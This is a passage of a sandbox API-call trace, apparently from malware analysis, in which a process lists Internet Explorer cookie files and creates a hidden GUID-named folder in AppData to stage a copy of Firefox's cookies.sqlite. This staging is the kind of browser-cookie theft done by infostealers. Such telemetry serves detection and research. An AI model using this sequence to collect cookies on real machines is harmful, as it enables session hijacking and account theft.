ftLastAccessTime.dwLowDateTime=0xd0ac84c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0ac84c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@exelator[1].txt", cAlternateFileName="AE0A5A~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09255a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09255a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09255a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@eyeota[1].txt", cAlternateFileName="AEEA65~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb99a0960, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xb99a0960, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb99a0960, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@google[2].txt", cAlternateFileName="AEAC72~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0c45280, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c45280, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c45280, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ibeu2.mookie1[2].txt", cAlternateFileName="AEEA6E~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05b9600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05b9600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05b9600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ih.adscale[1].txt", cAlternateFileName="AE118A~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd92b200, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd92b200, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd92b200, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@linkedin[2].txt", cAlternateFileName="AE4CE8~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19bb3760, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b0d3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b0d3aa0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x76, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@m.exactag[2].txt", cAlternateFileName="AE14B6~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@mathtag[2].txt", cAlternateFileName="AE1703~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce87dfa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1747840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1747840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@microsoft[1].txt", cAlternateFileName="AEE18A~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18a97940, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1bfb4420, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1bfb4420, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@msn[2].txt", cAlternateFileName="AED77F~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd056d340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd056d340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd056d340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@openx[1].txt", cAlternateFileName="AETADZ~4.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@pixel.rubiconproject[1].txt", cAlternateFileName="AE4ADC~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c6b3e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c6b3e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@pubmatic[2].txt", cAlternateFileName="AE20C2~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@rubiconproject[1].txt", cAlternateFileName="AE4537~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc28e100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc28e100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc28e100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@scorecardresearch[2].txt", cAlternateFileName="AE0340~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd056d340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1be42e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1be42e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@semasio[1].txt", cAlternateFileName="AEBD88~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd599100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd599100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd599100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@server.adformdsp[2].txt", cAlternateFileName="AEE7C0~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82de1280, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x82de1280, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x82de1280, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@serving-sys[2].txt", cAlternateFileName="AEFEDF~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a09de0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0cdd800, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0cdd800, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@serving.experianmarketingservices[1].txt", cAlternateFileName="AEAB5A~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05934a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05934a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05934a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@smartadserver[1].txt", cAlternateFileName="AE50D4~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09e3c80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09e3c80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@tapad[2].txt", cAlternateFileName="AE5017~1.TXT")) returned 1 [0111.822] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.822] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd2c56e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1ab527c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab527c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@track.adform[2].txt", cAlternateFileName="AE650D~1.TXT")) returned 1 [0111.823] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.823] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd056d340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd056d340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd056d340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@turn[1].txt", cAlternateFileName="AE662F~1.TXT")) returned 1 [0111.823] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.823] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1af0aa20, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1af0aa20, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1af0aa20, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@w55c[2].txt", cAlternateFileName="AE15B2~1.TXT")) returned 1 [0111.823] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.823] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xccfcbb60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xccfcbb60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xccfcbb60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x75, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.bing[1].txt", cAlternateFileName="AETADZ~1.TXT")) returned 1 [0111.823] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.823] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd92b200, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd92b200, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd92b200, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.linkedin[1].txt", cAlternateFileName="AE311C~1.TXT")) returned 1 [0111.823] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.823] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82c3e360, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x82c3e360, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x82c3e360, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.msn[2].txt", cAlternateFileName="AE6390~1.TXT")) returned 1 [0111.823] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.823] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6a7b300, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0x9aa5a3b0, ftLastWriteTime.dwHighDateTime=0x1d2fb14, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0111.823] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.823] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6a7b300, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0x9aa5a3b0, ftLastWriteTime.dwHighDateTime=0x1d2fb14, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0111.823] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0111.824] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e520 | out: hHeap=0x9770000) returned 1 [0111.824] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e490 | out: hHeap=0x9770000) returned 1 [0111.824] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e230 | out: hHeap=0x9770000) returned 1 [0111.824] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x26403640, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb99a0960, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb99a0960, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0111.824] FindClose (in: hFindFile=0x4466880 | out: hFindFile=0x4466880) returned 1 [0111.824] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc60 | out: hHeap=0x9770000) returned 1 [0111.824] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770ed0 | out: hHeap=0x9770000) returned 1 [0111.824] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0111.824] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770cb0 | out: hHeap=0x9770000) returned 1 [0111.824] lstrlenA (lpString="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 58 [0111.824] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9770cb0 [0111.824] mbstowcs (in: _Dest=0x9770cb0, _Source="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", _MaxCount=0x3b | out: _Dest="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 0x3a [0111.824] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0111.824] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9770d30 [0111.824] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpDst=0x9770d30, nSize=0x53 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 0x53 [0111.824] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770cb0 | out: hHeap=0x9770000) returned 1 [0111.824] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}"), lpSecurityAttributes=0x0) returned 1 [0111.825] lstrlenW (lpString="\\3y2joh8o.default\\cookies.sqlite") returned 32 [0111.825] lstrlenW (lpString="\\cookie.ff") returned 10 [0111.825] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0111.825] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfe) returned 0x9a96580 [0111.825] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0111.825] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ff" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff" [0111.825] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ff"), lpSecurityAttributes=0x0) returned 1 [0111.825] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\" [0111.825] StrChrW (lpStart="\\3y2joh8o.default\\cookies.sqlite", wMatch=0x94e005c) returned="\\3y2joh8o.default\\cookies.sqlite" [0111.825] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\", lpString2="" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\" [0111.825] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ff"), lpSecurityAttributes=0x0) returned 0 [0111.826] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\" [0111.826] StrChrW (lpStart="3y2joh8o.default\\cookies.sqlite", wMatch=0x94e005c) returned="\\cookies.sqlite" [0111.826] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\", lpString2="3y2joh8o.default" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\3y2joh8o.default" [0111.826] CreateDirectoryW 